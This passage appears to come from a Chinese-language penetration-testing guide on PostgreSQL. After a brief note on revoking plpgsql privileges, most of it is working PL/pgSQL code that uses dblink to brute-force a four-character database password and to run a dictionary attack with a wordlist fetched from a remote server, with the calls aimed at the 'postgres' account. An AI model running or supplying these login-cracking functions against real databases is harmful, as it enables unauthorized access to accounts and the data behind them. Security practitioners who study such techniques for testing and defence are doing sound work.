REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
在这种情况下，我们先前的查询将输出不同的结果：
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
请注意，为了使以下脚本正常工作，需要存在dblink函数。如果不存在，您可以尝试使用以下方法创建：
CREATE EXTENSION dblink;
密码暴力破解
以下是如何执行4个字符密码的暴力破解：
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
请注意，即使是暴力破解4个字符的密码也可能需要几分钟的时间。
您还可以下载一个单词列表，然后只尝试这些密码（字典攻击）：
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');